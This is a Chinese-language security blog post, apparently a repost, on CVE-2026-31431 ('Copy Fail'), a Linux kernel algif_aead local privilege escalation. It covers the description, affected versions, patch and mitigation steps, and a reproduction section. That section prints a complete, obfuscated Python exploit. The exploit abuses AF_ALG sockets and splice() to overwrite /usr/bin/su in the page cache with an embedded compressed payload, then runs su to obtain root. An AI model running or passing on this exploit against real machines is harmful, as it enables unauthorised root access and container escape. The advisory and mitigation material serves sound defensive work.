【已复现】CVE-2026-31431Linux内核本地提权漏洞(CopyFail)

admin 2026-05-01 05:20:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-31431是Linux内核algifaead模块中的高危本地提权漏洞,源于2017年的原地操作优化错误。该漏洞允许非特权用户通过AFALG套接字和splice系统调用向页面缓存写入4字节数据,从而篡改setuid二进制文件获取root权限。影响2017年后未打补丁的多数Linux版本,支持稳定提权和容器逃逸。修复方案包括升级至包含commita664bf3d603d的内核版本或禁用algif_aead模块。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,应急响应,红队


cover_image

【已复现】CVE-2026-31431 Linux内核本地提权漏洞(Copy Fail)

原创

F1rstb100d F1rstb100d

智佳网络安全

2026年4月30日 21:45 北京

在小说阅读器读本章

去阅读

unsetunset漏洞描述unsetunset

漏洞位于Linux内核的algif_aead密码算法接口中,源于2017年引入的一个错误“原地操作”优化(commit 72548b093ee3)。该缺陷允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存page cache写入4个可控字节,进而篡改setuid二进制文件/usr/bin/su,直接获取root权限。

unsetunset影响范围unsetunset

根据现有分析,Copy Fail(CVE-2026-31431)漏洞的核心影响范围是:

自2017年以来编译、且未包含修复补丁(commit a664bf3d603d)的绝大多数Linux内核版本,广泛涉及主流的服务器和云环境Linux发行版,100% 稳定获取 root 权限,还能实现跨容器逃逸,堪称近年少有的高危内核缺陷。

不受影响的版本:

  • 内核主线 7.0 及以上
  • 稳定版 6.18.22 及以上
  • 稳定版 6.19.12 及以上

unsetunset漏洞复现unsetunset

exp地址:https://github.com/theori-io/copy-fail-CVE-2026-31431

操作系统:Ubuntu 22.04.4

内核版本:6.8.0-94-generic

algif_aead模块允许加载

exp:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

复现过程:

unsetunset修复方案unsetunset

升级修复方案

升级至包含commit a664bf3d603d的内核版本:

# Ubuntu / Debian
apt update && apt upgrade linux-image-$(uname -r)

# RHEL / CentOS / Rocky / Alma
dnf update kernel

# Amazon Linux
yum update kernel

# SUSE
zypper update kernel-default

升级后重启系统使新内核生效。

临时缓释方案

禁用 algif_aead内核模块可阻断漏洞利用路径

# 永久禁用(重启后生效)
echo&nbsp;"install algif_aead /bin/false"&nbsp;> /etc/modprobe.d/disable-algif.conf

# 立即卸载(当前会话生效)
rmmod algif_aead 2>/dev/null ||&nbsp;true

unsetunset参考链接unsetunset

引入 commit 为:https://github.com/torvalds/linux/commit/72548b093ee3

修复 commit 为:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d

官方链接:https://xint.io/blog/copy-fail-linux-distributions


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智佳网络安全 F1rstb100d F1rstb100d《【已复现】CVE-2026-31431 Linux内核本地提权漏洞(Copy Fail)》

五一活动,夯爆了 网络安全文章

五一活动,夯爆了

文章总结: 该文档为Z2O安全攻防发布的五一促销活动宣传,主要推广SRC专项学习圈和内部网络安全学习圈子的半价优惠券,针对红队成员和网络安全学习者提供从0到1的
评论:0   参与:  0